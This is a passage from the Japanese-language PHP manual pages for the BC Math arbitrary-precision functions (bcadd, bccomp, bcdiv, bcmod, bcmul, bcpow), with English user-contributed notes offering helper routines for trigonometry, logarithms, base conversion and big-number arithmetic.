    return $r;
}

function bcsin($a) {
    $or= $a;
    $r = bcsub($a,bcdiv(bcpow($a,3),6));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
        }
        $i++;
    }
    return $r;
}

function bccos($a) {
    $or= $a;
    $r = bcsub(1,bcdiv(bcpow($a,2),2));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
        }
        $i++;
    }
    return $r;
}

?>
Diabolos at GMail dot com 28-Oct-2004 11:42
Here's a function to compute the natural exponential function in arbitrary precision using the basic bcMath arithmetic operations.

EXAMPLE:
To compute the exponential function of 1.7 to 36 decimals:

$y = bcExp("1.7", 36);

The result:
4.331733759839529271053448625299468628

would be returned in variable $y

NOTE:
In practice, the last couple of digits may be inaccurate due to small rounding errors.  If you require a specific degree of precision, always compute 3-4 decimals beyond the required precision.

The program code for the natural exponential function is:
******************************************

  Function bcExp($xArg, $NumDecimals)

{
   $x = Trim($xArg);

   $PrevSum  = $x - 1;
   $CurrTerm = 1;
   $CurrSum  = bcAdd("1", $x, $NumDecimals);
   $n        = 1;

   While (bcComp($CurrSum, $PrevSum, $NumDecimals))

  {
   $PrevSum  = $CurrSum;
   $CurrTerm = bcDiv(bcMul($CurrTerm, $x, $NumDecimals), $n + 1, $NumDecimals);
   $CurrSum  = bcAdd($CurrSum, $CurrTerm, $NumDecimals);

   $n++;
  }

   Return $CurrSum;
}
robert at scabserver dot com 03-Jun-2004 09:58
I spent some time looking for how to generate a large random number, in the end I've settled for reading directly from /dev/urandom

I know this is a *nix only solution, but I figured that it might come in handy to someone else.

The value $size is the size in bits, it could be simplified greatly if you want the size in bytes, but bits was more helpful to what I needed.

<?php
function bcrand($size)
{
    $filename = "/dev/urandom";
    $handle = fopen($filename, "r");
    $bin_urand = fread($handle, ceil($size/8.0));
    fclose($handle);
    $mask = (($size % 8 < 5) ? '0' : '') . dechex(bindec(str_repeat('1', $size % 8))) . str_repeat('FF', floor($size/8));
    $binmask = pack("H*", $mask);
    $binrand = $binmask & $bin_urand;
    $hexnumber = unpack("H*", $binrand);
    $hexnumber = $hexnumber[''];
    $numlength = strlen($hexnumber);
    $decnumber = 0;
    for($x = 1; $x <= $numlength; $x++)
    {
        $place = $numlength - $x;
        $operand = hexdec(substr($hexnumber,$place,1));
        $exponent = bcpow(16,$x-1);
        $decValue = bcmul($operand, $exponent);
        $decnumber = bcadd($decValue, $decnumber);
    }
    return $decnumber;
}
?>
pulstar at mail dot com 15-Apr-2003 05:12
A little comment for the simplified example above: you can do base converting without BCMath functions using only math operators, but you will not able to manage very large values or work with strings to compress or scramble data. If you have BCMath installed in your system it worth use it for this.
oliver at summertime dot net 01-Mar-2003 10:12
A simplier Version of the Script above:

function dec2base($dec, $digits) {
 $value = "";
 $base  = strlen($digits);
 while($dec>$base-1) {
  $rest = $dec % $base;
  $dec  = $dec / $base;
  $value = $digits[$rest].$value;
 }
 $value = $digits[intval($dec)].$value;
 return (string) $value;
}

function base2dec($value, $digits) {
 $value = strtoupper($value);
 $base  = strlen($digits);
 $size  = strlen($value);
 $dec   = '0';
 for ($loop = 0; $loop<$size; $loop++) {
  $element = strpos($digits,$value[$loop]);
  $power   = pow($base,$size-$loop-1);
  $dec    += $element * $power;
 }
 return (string) $dec;
}

$digits = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
echo dec2base('1000', $digits);
pulstar at mail dot com 20-Sep-2002 07:23
A found a little fix to do in my base2dec() function:
The line "if($base<37) $value=strtolower($value);" should be removed if you want to specify another digits for your base conversions. Change it this way:

if(!$digits) {
$digits=digits($base);
if($base<37) {
$value=strtolower($value);
}
}

Another example using these functions is to generate a key for a session, to name temporary files or something else:

srand((double) microtime()*1000000);
$id=uniqid(rand(10,999));
$mykey=dec2base(base2dec($id,16),64);

$mykey is a base64 value, which is a good key for passing thru an URL and also is shorter than a MD5 string (it will be allways 11 chars long). If you need something more secure, just scramble the 64 digits in the digits() function.

Well, I hope you enjoy it.

Regards,
Edemilson Lima
pulstar at mail dot com 19-Sep-2002 08:27
A good use for BCMath functions:
The functions below can convert a number in any base (from 2 to 256) to its decimal value and vice-versa.

// convert a decimal value to any other base value
function dec2base($dec,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    $value="";
    if(!$digits) $digits=digits($base);
    while($dec>$base-1) {
        $rest=bcmod($dec,$base);
        $dec=bcdiv($dec,$base);
        $value=$digits[$rest].$value;
    }
    $value=$digits[intval($dec)].$value;
    return (string) $value;
}

// convert another base value to its decimal value
function base2dec($value,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    if($base<37) $value=strtolower($value);
    if(!$digits) $digits=digits($base);
    $size=strlen($value);
    $dec="0";
    for($loop=0;$loop<$size;$loop++) {
        $element=strpos($digits,$value[$loop]);
        $power=bcpow($base,$size-$loop-1);
        $dec=bcadd($dec,bcmul($element,$power));
    }
    return (string) $dec;
}

function digits($base) {
    if($base>64) {
        $digits="";
        for($loop=0;$loop<256;$loop++) {
            $digits.=chr($loop);
        }
    } else {
        $digits ="0123456789abcdefghijklmnopqrstuvwxyz";
        $digits.="ABCDEFGHIJKLMNOPQRSTUVWXYZ-_";
    }
    $digits=substr($digits,0,$base);
    return (string) $digits;
}

The purpose of digits() function above is to supply the characters that will be used as digits for the base you want. NOTE: You can use any characters for that when you convert to another base, but when you convert again to the decimal base, you need to use the same characters or you will get another unexpected result.


2つの任意精度の数値を加算する

  • ≪ BC Math 関数
  • bccomp ≫
  • PHP Manual
  • BC Math 関数
  • 2つの任意精度の数値を加算する

bcadd

(PHP 4, PHP 5, PHP 7, PHP 8)

bcadd — 2つの任意精度の数値を加算する

説明

bcadd ( string $num1 , string $num2 , int|null $scale = null ) : string

num1 を num2 に加算します。

パラメータ

num1

左オペランドを表す文字列。

num2

右オペランドを表す文字列。

scale

このオプションパラメータを使用して、 結果の小数点以下の桁数を指定します。省略した場合は、bcscale() 関数でグローバルに設定した桁数をデフォルトとして使用します。それも設定されていない場合は 0 を使用します。

返り値

二つの数の和を文字列で返します。

変更履歴

バージョン | 説明
8.0.0 | scale は nullable になりました。

例

例1 bcadd() の例

<?php

$a = '1.234';
$b = '5';

echo bcadd($a, $b);     // 6
echo bcadd($a, $b, 4);  // 6.2340

?>

参考

  • bcsub() - 任意精度数値の減算を行う

User Contributed Notes

Nitrogen 15-Jul-2009 09:16
I made this to add an unlimited size of numbers together..

This could be useful for those without the BCMath extension.

It allows decimals, and optional $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to show the correct number of decimals.

<?php

function Add($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // this is where the result is stored
  $Output=array();

  // remove ending zeroes from decimals and remove point
  $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
  $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

  // calculate the longest length of decimals
  $DLen=max(strlen($Dec1),strlen($Dec2));

  // if $Scale is null, automatically set it to the amount of decimal places for accuracy
  if($Scale==null) $Scale=$DLen;

  // remove leading zeroes and reverse the whole numbers, then append padded decimals on the end
  $Num1=strrev(ltrim($Tmp1[1],'0').str_pad($Dec1,$DLen,'0'));
  $Num2=strrev(ltrim($Tmp2[1],'0').str_pad($Dec2,$DLen,'0'));

  // calculate the longest length we need to process
  $MLen=max(strlen($Num1),strlen($Num2));

  // pad the two numbers so they are of equal length (both equal to $MLen)
  $Num1=str_pad($Num1,$MLen,'0');
  $Num2=str_pad($Num2,$MLen,'0');

  // process each digit, keep the ones, carry the tens (remainders)
  for($i=0;$i<$MLen;$i++) {
    $Sum=((int)$Num1{$i}+(int)$Num2{$i});
    if(isset($Output[$i])) $Sum+=$Output[$i];
    $Output[$i]=$Sum%10;
    if($Sum>9) $Output[$i+1]=1;
  }

  // convert the array to string and reverse it
  $Output=strrev(implode($Output));

  // substring the decimal digits from the result, pad if necessary (if $Scale > amount of actual decimals)
  // next, since actual zero values can cause a problem with the substring values, if so, just simply give '0'
  // next, append the decimal value, if $Scale is defined, and return result
  $Decimal=str_pad(substr($Output,-$DLen,$Scale),$Scale,'0');
  $Output=(($MLen-$DLen<1)?'0':substr($Output,0,-$DLen));
  $Output.=(($Scale>0)?".{$Decimal}":'');
  return($Output);
}

$A="5650175242.508133742";
$B="308437806.831153821478770";

printf("  Add(%s,%s);\r\n// %s\r\n\r\n",$A,$B,  Add($A,$B));
printf("BCAdd(%s,%s);\r\n// %s\r\n\r\n",$A,$B,BCAdd($A,$B));

/*
  This will produce the following..
    Add(5650175242.508133742,308437806.831153821478770);
  // 5958613049.33928756347877

  BCAdd(5650175242.508133742,308437806.831153821478770);
  // 5958613049
*/

?>

It was a fun experience making, and thought I'd share it.
Enjoy,
Nitrogen.
Bo Anders Svensson 23-May-2005 05:25
Be aware:

$exp1 = "1E5";
$exp2 = "2E4";

$ans1 = bcadd((float)$exp1, (float)$exp2, 3);
$ans2 = bcadd((int)$exp1, (int)$exp2, 3);
$ans3 = bcadd($exp1, $exp2, 3);

echo "1: $exp1 + $exp2 = $ans1\r\n";
echo "2: $exp1 + $exp2 = $ans2\r\n";
echo "3: $exp1 + $exp2 = $ans3\r\n";

1: 1E5 + 2E4 = 120000.000
2: 1E5 + 2E4 = 3.000
3: 1E5 + 2E4 = 0.000


2 つの任意精度数値を比較する

  • ≪ bcadd
  • bcdiv ≫
  • PHP Manual
  • BC Math 関数
  • 2 つの任意精度数値を比較する

bccomp

(PHP 4, PHP 5, PHP 7, PHP 8)

bccomp — 2 つの任意精度数値を比較する

説明

bccomp ( string $num1 , string $num2 , int|null $scale = null ) : int

num1 と num2 を比較し、 結果を整数値で返します。

パラメータ

num1

左オペランドを表す文字列。

num2

右オペランドを表す文字列。

scale

オプションの scale パラメータで、 小数点以下の桁数を指定します。ここまでを使用して比較を行います。

返り値

ふたつのオペランドが等しければ 0、 num1 が num2 より大きければ返り値は 1、小さければ -1 を返します。

変更履歴

バージョン | 説明
8.0.0 | scale は、nullable になりました。

例

例1 bccomp() の例

<?php

echo bccomp('1', '2') . "\n";   // -1
echo bccomp('1.00001', '1', 3); // 0
echo bccomp('1.00001', '1', 5); // 1

?>

User Contributed Notes

aaugrin at gmail dot com 19-Feb-2018 10:01
BEWARE! left and right operand is string!! so number in E-notation like 9.012E-6  need to be converted with sprintf('%F') to string
Artur Kuritsyn 18-Sep-2017 11:57
bccomp - doesn't compare by default more then 16 characters

$number = '-4.444444444444444444444444444444444444444444445';
$precision = 16;
var_dump(bccomp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)));

//outputs 0 on PHP 5.3

use strcomp
simonrataj at seznam dot cz 28-Jun-2016 03:26
In PHP 7, bccomp($a, $b) is the same as $a <=> $b.
github.com/alixaxel/phunction/ 07-May-2012 01:19
You can wrap this function with version_compare() to have support for operators and friendlier (boolean) return values.

<?php

function _bccomp($a, $b, $operator = '=')
{
    return version_compare(bccomp($a, $b), 0, $operator);
}

var_dump(_bccomp(5, 3, '>=')); // true

?>

Still works with arbitrary length numbers.
Robert Lozyniak 16-Feb-2010 10:04
Beware that negative zero does not compare equal to positive zero.
Nitrogen 21-Jul-2009 06:23
I made this to compare an unlimited size of numbers..

This could be useful for those without the BCMath extension.

It allows decimals, and option $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to the correct number of decimals to compare.

<?php

function Comp($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // remove leading zeroes from whole numbers
  $Num1=ltrim($Tmp1[1],'0');
  $Num2=ltrim($Tmp2[1],'0');

  // first, we can just check the lengths of the numbers, this can help save processing time
  // if $Num1 is longer than $Num2, return 1.. vice versa with the next step.
  if(strlen($Num1)>strlen($Num2)) return(1);
  else {
    if(strlen($Num1)<strlen($Num2)) return(-1);

    // if the two numbers are of equal length, we check digit-by-digit
    else {

      // remove ending zeroes from decimals and remove point
      $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
      $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

      // if the user defined $Scale, then make sure we use that only
      if($Scale!=null) {
        $Dec1=substr($Dec1,0,$Scale);
        $Dec2=substr($Dec2,0,$Scale);
      }

      // calculate the longest length of decimals
      $DLen=max(strlen($Dec1),strlen($Dec2));

      // append the padded decimals onto the end of the whole numbers
      $Num1.=str_pad($Dec1,$DLen,'0');
      $Num2.=str_pad($Dec2,$DLen,'0');

      // check digit-by-digit, if they have a difference, return 1 or -1 (greater/lower than)
      for($i=0;$i<strlen($Num1);$i++) {
        if((int)$Num1{$i}>(int)$Num2{$i}) return(1);
        else
          if((int)$Num1{$i}<(int)$Num2{$i}) return(-1);
      }

      // if the two numbers have no difference (they're the same).. return 0
      return(0);
    }
  }
}

$A="10.50002";
$B="10.50001";

printf("  Comp(%s,%s); // %s\r\n",$A,$B,  Comp($A,$B));
printf("BCComp(%s,%s); // %s\r\n",$A,$B,BCComp($A,$B));

/*
    Comp(10.50002,10.50001); // 1
  BCComp(10.50002,10.50001); // 0 (BCComp has a default decimal scale of 0, unless specified)
*/

?>

I tried to make this behave like BCComp..

The only difference being mine will compare the decimals by default.. BCComp won't..
.. unless, of course, you specify the amount of decimals to include in the process.
Enjoy,
Nitrogen.
m dot kaczanowski at alianet dot pl 11-Mar-2009 06:35
Improvement of functions bcmax() and bcmin() originaly written by frank at booksku dot com

<?php

function bcmax() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $max = $args[0];
  foreach($args as $value) {
    if (bccomp($value, $max)==1) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $min = $args[0];
  foreach($args as $value) {
    if (bccomp($min, $value)==1) {
      $min = $value;
    }
  }
  return $min;
}
?>
frank at booksku dot com 04-Oct-2005 03:41
I slapped together min() and max() functions using bccomp().  While min() and max() only take an arbitrary number of args (i.e. max(1, 5, 1235, 12934, 66)) bccomp only takes 2.

Note that this doesn't take into account $scale.

<?php

function bcmax() {
  $max = null;
  foreach(func_get_args() as $value) {
    if ($max == null) {
      $max = $value;
    } else if (bccomp($max, $value) < 0) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $min = null;
  foreach(func_get_args() as $value) {
    if ($min == null) {
      $min = $value;
    } else if (bccomp($min, $value) > 0) {
      $min = $value;
    }
  }
  return $min;
}
?>
11-Feb-2005 02:03
Note that the above function defeats the purpose of BCMath functions, for it uses the 'conventional' < operator.
Instead, it should be:
<?php
function my_bccomp_zero($amount, $scale)
{
   if (@$amount{0}=="-")
   {
       return bccomp($amount, '-0.0', $scale);
   }
   else
   {
       return bccomp($amount, '0.0', $scale);
   }
}
?>


2つの任意精度数値で除算を行う

  • ≪ bccomp
  • bcmod ≫
  • PHP Manual
  • BC Math 関数
  • 2つの任意精度数値で除算を行う

bcdiv

(PHP 4, PHP 5, PHP 7, PHP 8)

bcdiv — 2つの任意精度数値で除算を行う

説明

bcdiv ( string $num1 , string $num2 , int|null $scale = null ) : string

num1 を num2 で除算します。

パラメータ

num1

被除数を表す文字列。

num2

割る数を表す文字列。

scale

このオプションパラメータを使用して、 結果の小数点以下の桁数を指定します。省略した場合は、bcscale() 関数でグローバルに設定した桁数をデフォルトとして使用します。それも設定されていない場合は 0 を使用します。

返り値

除算結果を文字列で返します。 num2 が 0 の場合は null を返します。

変更履歴

バージョン | 説明
8.0.0 | scale は、nullable になりました。

例

例1 bcdiv() の例

<?php

echo bcdiv('105', '6.55957', 3);  // 16.007

?>

参考

  • bcmul() - 2つの任意精度数値の乗算を行う

User Contributed Notes

Anonymous 26-Sep-2010 10:05
The custom bcdiv function listed at the top of this page produces very different results from bcdiv, as it rounds instead of truncating the result. Consider the following:

<?php

function bcdiv_cust( $first, $second, $scale = 0 )
{
    $res = $first / $second;
    return round( $res, $scale );
}

echo bcdiv('1','2','0') . " vs. " bcdiv_cust('1','2','0');  // prints '0 vs. 1'

?>
MM 18-Jan-2008 03:29
Perhaps some one can find useful this function to compute the modular inverse of a integer (extended euclidean algorithm):

  function invmod($a,$b) {
    $n=$b;
    $x=0; $lx=1; $y=1; $ly=0;
    while ($b) {
      $t=$b;
      $q=bcdiv($a,$b,0);
      $b=bcmod($a,$b);
      $a=$t;
      $t=$x; $x=bcsub($lx,bcmod(bcmul($q,$x),$n)); $lx=$t;
      $t=$y; $y=bcsub($ly,bcmod(bcmul($q,$y),$n)); $ly=$t;
    }
    if (bccomp($lx,0) == -1)
      $lx=bcadd($lx,$n);
    return $lx;
  }

  // verify

  $n="2447995268898324993537772139997802321";
  $t="64941057316178801556773346239351236811";
  $m="123456789";
  $i=invmod($t,$n);
  // (t*m)*inv(t) is m
  echo bcmod(bcmul(bcmod(bcmul($t,$m),$n),$i),$n) == $m;
Gautam 29-Aug-2007 07:56
<?php
 //converting in to required precision of decimal points
$result= bcdiv(89.99999999997,2.57865741235478,2);
 echo "$result";  // 34.90 result with 2 decimal points
?>
cristianDOTzuddas]NOSPAM[gmailDOTcom 24-Jul-2005 05:10
Decimal to binary conversion, using BC Math.
Note: this function is VERY slow if the decimal number is too big!

<?
function bc_decbin($dec_str) {
    if (strlen($dec_str)>0) {
        $bin_str = '';
        do {
            if (((int)$dec_str[strlen($dec_str)-1] % 2) === 0)
                $bin_str .= '0';
            else
                $bin_str .= '1';

            $dec_str = bcdiv($dec_str, '2');
        } while ($dec_str!='0');

        return strrev($bin_str);
    }
    else
        return null;
}
?>

-----
Cristian
www.CodeFlower.com


2 つの任意精度数値の剰余を取得する

  • ≪ bcdiv
  • bcmul ≫
  • PHP Manual
  • BC Math 関数
  • 2 つの任意精度数値の剰余を取得する

bcmod

(PHP 4, PHP 5, PHP 7, PHP 8)

bcmod — 2 つの任意精度数値の剰余を取得する

説明

bcmod ( string $num1 , string $num2 , int|null $scale = null ) : string

num1 の、 num2 を法とする剰余を取得します。 num2 が 0でなければ、 結果は num1 と同じ符号を持ちます。

パラメータ

num1

被除数を表す文字列。

num2

割る数を表す文字列。

返り値

剰余を文字列で返します。 num2 が 0 の場合は null を返します。

変更履歴

バージョン | 説明
8.0.0 | scale は nullable になりました。
7.2.0 | num1 と num2 は 整数に切り詰められることがなくなりました。 よって、bcmod() の振る舞いは % 演算子ではなく、 fmod() に従うことになります。
7.2.0 | scale パラメータが追加されました。

例

例1 bcmod() の例

<?php
bcscale(0);
echo bcmod( '5',  '3'); //  2
echo bcmod( '5', '-3'); //  2
echo bcmod('-5',  '3'); // -2
echo bcmod('-5', '-3'); // -2
?>

例2 bcmod() に小数の値を指定する

<?php
bcscale(1);
echo bcmod('5.7', '1.3'); // 0.5 as of PHP 7.2.0; 0 previously
?>

参考

  • bcdiv() - 2つの任意精度数値で除算を行う

User Contributed Notes

drahoszdenek at gmail dot com 01-Feb-2013 04:44
The modulus can be only integer. For "floats" bcmod returns 0:

<?php
echo bcmod('10', '2.1'); // 0
?>

For real modulus you can use BN-PHP project (hosted at Bitbucket):

<?php
$eval = new \BN\Expression\ExpressionEvaluator();
$operators = new \BN\Expression\OperatorsFactory();
$eval->setOperators($operators->getOperators(array('%')));

echo $eval->evaluate('10 % 2.1'); // 1.6
echo $eval->evaluate('10 % -2.1'); // 1.6
echo $eval->evaluate('-10 % 2.1'); // -1.6
echo $eval->evaluate('-10 % -2.1'); // -1.6
?>
lauris at night dot lt 23-Dec-2003 08:04
<?php
/**
 * my_bcmod - get modulus (substitute for bcmod)
 * string my_bcmod ( string left_operand, int modulus )
 * left_operand can be really big, but be carefull with modulus :(
 * by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania
 **/
function my_bcmod( $x, $y )
{
    // how many numbers to take at once? carefull not to exceed (int)
    $take = 5;
    $mod = '';

    do
    {
        $a = (int)$mod.substr( $x, 0, $take );
        $x = substr( $x, $take );
        $mod = $a % $y;
    }
    while ( strlen($x) );

    return (int)$mod;
}

// example
echo my_bcmod( "7044060001970316212900", 150 );
?>


2つの任意精度数値の乗算を行う

  • ≪ bcmod
  • bcpow ≫
  • PHP Manual
  • BC Math 関数
  • 2つの任意精度数値の乗算を行う

bcmul

(PHP 4, PHP 5, PHP 7, PHP 8)

bcmul — 2つの任意精度数値の乗算を行う

説明

bcmul ( string $num1 , string $num2 , int|null $scale = null ) : string

num1 に num2 を掛けます。

パラメータ

num1

左オペランドを表す文字列。

num2

右オペランドを表す文字列。

scale

このオプションパラメータを使用して、 結果の小数点以下の桁数を指定します。省略した場合は、bcscale() 関数でグローバルに設定した桁数をデフォルトとして使用します。それも設定されていない場合は 0 を使用します。

返り値

結果を文字列で返します。

変更履歴

バージョン | 説明
8.0.0 | scale is now nullable.
7.3.0 | bcmul() 関数が、指定されたスケールの数値を返すようになりました。 これより前のバージョンでは、 返される数値の末尾が 0埋め されることなく、省略される可能性がありました。

例

例1 bcmul() の例

<?php
echo bcmul('1.34747474747', '35', 3); // 47.161
echo bcmul('2', '4'); // 8
?>

注意

注意:

PHP 7.3.0 より前のバージョンでは、 bcmul() は scale 引数で指定したものより少ない桁数を返す可能性がありました。 これは scale で許された精度が不要な場合にだけ起きていました。 たとえば、以下のような場合です:

例2 bcmul() で scale を指定する例

<?php
echo bcmul('5', '2', 2);     // prints "10", not "10.00"
?>

参考

  • bcdiv() - 2つの任意精度数値で除算を行う

User Contributed Notes

mgkirs 25-Aug-2017 04:08
$float = 0.31234144143341;
$float1 = 0.00000000000000000000000000000005;
echo $float, "\n";
//0.31234144143341
echo $float1, "\n";
//5.0E-32
echo $float*$float1, "\n";
//1.5617072071671E-32

<?php
/*bcmul read float as string*/
echo bcmul($float, $float1, 32),"\n";
//0
echo bcmul($float, sprint('%.32f',$float1), 32);
//0.000000000000000000000000000000015617072071671;
?>
gar37bic at gmail dot com 19-Nov-2012 05:06
When using printf to print the results of bcmath operations, use string format, i.e. '%s', not numeric formats such as '%d' or '%f'.  For example, the output of factorial (23) will be incorrect if using %d or %f:

Result using %f:
factorial (22) = 1124000727777607680000 (correct)
factorial (23) = 25852016738884978212864 (incorrect)

Result using %s:
factorial (22) = 1124000727777607680000
factorial (23) = 25852016738884976640000

Using echo, this is not a problem - PHP will output the bcmath string type correctly.
admin at spamhere dot sinfocol dot org 03-Jan-2011 10:17
Well, I have a little problem implementing Blake Hash in my server because it is not a x64 server machine. I made a little function that use the powerfull of BC library to do the bitwise operation Shift.

<?php
echo 'Left Shift test<br />';
bprint('1', decbin(1));
bprint('1 << 32 (Fail)', decbin(1 << 32)); //Fail, operation not succesfull in 32-bit machine
bprint('shiftleft(1, 32) (Success)', dec2bin(shiftleft('1', '32'))); //decbin fails, so we use personalized function, success

echo '<br />';
echo 'Right Shift test<br />';
bprint('9223372036854775808', dec2bin('9223372036854775808'));
bprint('9223372036854775808 >> 63 (Fail)', decbin(9223372036854775808 >> 63));
bprint('rightshift(9223372036854775808, 63) (Success)', decbin(rightshift('9223372036854775808', '63')));

function shiftleft($num, $bits) {
    return bcmul($num, bcpow('2', $bits));
}

function rightshift($num, $bits) {
    return bcdiv($num, bcpow('2', $bits));
}

function bprint($title, $content) {
    echo $title . '<br />' . str_pad($content, 64, '0', STR_PAD_LEFT) . '<br />' . PHP_EOL;
}

//http://www.php.net/manual/en/function.decbin.php#99533
function dec2bin($dec) {
    // Better function for dec to bin. Support much bigger values, but doesn't support signs
    for ($b = '', $r = $dec; $r >1;) {
        $n = floor($r / 2);
        $b = ($r - $n * 2) . $b;
        $r = $n; // $r%2 is inaccurate when using bigger values (like 11.435.168.214)!
    }
    return ($r % 2) . $b;
}
?>
Nitrogen 08-Jul-2009 05:55
I made this to multiply an unlimited size of integers together (meaning no decimals)..
This could be useful for those without the BCMath extension.

<?php

function Mul($Num1='0',$Num2='0') {
  // check if they're both plain numbers
  if(!preg_match("/^\d+$/",$Num1)||!preg_match("/^\d+$/",$Num2)) return(0);

  // remove zeroes from beginning of numbers
  for($i=0;$i<strlen($Num1);$i++) if(@$Num1{$i}!='0') {$Num1=substr($Num1,$i);break;}
  for($i=0;$i<strlen($Num2);$i++) if(@$Num2{$i}!='0') {$Num2=substr($Num2,$i);break;}

  // get both number lengths
  $Len1=strlen($Num1);
  $Len2=strlen($Num2);

  // $Rema is for storing the calculated numbers and $Rema2 is for carrying the remainders
  $Rema=$Rema2=array();

  // we start by making a $Len1 by $Len2 table (array)
  for($y=$i=0;$y<$Len1;$y++)
    for($x=0;$x<$Len2;$x++)
      // we use the classic lattice method for calculating the multiplication..
      // this will multiply each number in $Num1 with each number in $Num2 and store it accordingly
      @$Rema[$i++%$Len2].=sprintf('%02d',(int)$Num1{$y}*(int)$Num2{$x});

  // cycle through each stored number
  for($y=0;$y<$Len2;$y++)
    for($x=0;$x<$Len1*2;$x++)
      // add up the numbers in the diagonal fashion the lattice method uses
      @$Rema2[Floor(($x-1)/2)+1+$y]+=(int)$Rema[$y]{$x};

  // reverse the results around
  $Rema2=array_reverse($Rema2);

  // cycle through all the results again
  for($i=0;$i<count($Rema2);$i++) {
    // reverse this item, split, keep the first digit, spread the other digits down the array
    $Rema3=str_split(strrev($Rema2[$i]));
    for($o=0;$o<count($Rema3);$o++)
      if($o==0) @$Rema2[$i+$o]=$Rema3[$o];
      else @$Rema2[$i+$o]+=$Rema3[$o];
  }
  // implode $Rema2 so it's a string and reverse it, this is the result!
  $Rema2=strrev(implode($Rema2));

  // just to make sure, we delete the zeros from the beginning of the result and return
  while(strlen($Rema2)>1&&$Rema2{0}=='0') $Rema2=substr($Rema2,1);

  return($Rema2);
}

$A='5650175242508133742';
$B='2361030539975818701734615584174625';

printf("  Mul(%s,%s); // %s\r\n",$A,$B,  Mul($A,$B));
printf("BCMul(%s,%s); // %s\r\n",$A,$B,BCMul($A,$B)); // build-in function

/*
  This will print something similar to this..
    Mul(5650175242508133742,2361030539975818701734615584174625);
  BCMul(5650175242508133742,2361030539975818701734615584174625);

  both of which should be followed by the answer:
  13340236303776981390475700774516825287352418182696750
*/

?>

It was a fun experience making.. even though this took me longer than the BCAdd alternative I did..
Memory allocation might be an issue for rediculously larger numbers though.. if someone wants to benchmark the performance of my function; feel free.
Enjoy,
Nitrogen.


任意精度数値をべき乗する

  • ≪ bcmul
  • bcpowmod ≫
  • PHP Manual
  • BC Math 関数
  • 任意精度数値をべき乗する

bcpow

(PHP 4, PHP 5, PHP 7, PHP 8)

bcpow — 任意精度数値をべき乗する

説明

bcpow ( string $num , string $exponent , int|null $scale = null ) : string

num の exponent 乗を求めます。

パラメータ

num

基数を表す文字列。

exponent

指数を表す文字列。 指数が整数でない場合、値は切り捨てられます。 正しい指数の範囲はプラットフォーム依存ですが、 少なくとも -2147483648 から 2147483647 までの範囲を持ちます。

scale

このオプションパラメータを使用して、 結果の小数点以下の桁数を指定します。省略した場合は、bcscale() 関数でグローバルに設定した桁数をデフォルトとして使用します。それも設定されていない場合は 0 を使用します。

返り値

結果を文字列で返します。

変更履歴

バージョン | 説明
7.3.0 | bcpow() 関数は、指定されたスケールで値を返すようになりました。 これより前のバージョンでは、後に続く0の桁が省略された数値が返される可能性がありました。

例

例1 bcpow() の例

<?php

echo bcpow('4.2', '3', 2); // 74.08

?>

注意

注意:

PHP 7.3.0 より前のバージョンでは、 bcmul() は scale 引数で指定したものより少ない桁数を返す可能性がありました。 これは scale で許された精度が不要な場合にだけ起きていました。 たとえば、以下のような場合です:

例2 bcpow() で scale を指定する例

<?php
echo bcpow('5', '2', 2);     // 結果は "25.00" ではなく "25" となります
?>

参考

  • bcpowmod() - 任意精度数値のべき乗の、指定した数値による剰余
  • bcsqrt() - 任意精度数値の平方根を取得する

User Contributed Notes

thomas at tgohome dot com 13-Jul-2009 12:19
<?php

bcscale(100);

/*
 * Computes the natural logarithm using a series.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iter = 10)
{
    $result = "0.0";

    for($i = 0; $i < $iter; $i++)
    {
        $pow = (1 + (2 * $i));
        $mul = bcdiv("1.0", $pow);
        $fraction = bcmul($mul, bcpow(bcsub($a, "1.0") / bcadd($a, "1.0"), $pow));
        $result = bcadd($fraction, $result);
    }

    return bcmul("2.0", $result);
}

/*
 * Computes the base2 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog2($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("2", $iter));
}

/*
 * Computes the base10 log using baseN log.
 * @note Requires above functions.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bclog10($a, $iter = 10)
{
    return bcdiv(bcln($a, $iter), bcln("10", $iter));
}

?>
11-Feb-2005 01:58
Well, if bcpow has limits, then this should work:
<?php
function bcpow_($num, $power) {
    $awnser = "1";
    while ($power) {
        $awnser = bcmul($awnser, $num, 100);
        $power = bcsub($power, "1");
    }
    return rtrim($awnser, '0.');
}
?>
Just that $power cannot have decimal digits in it.
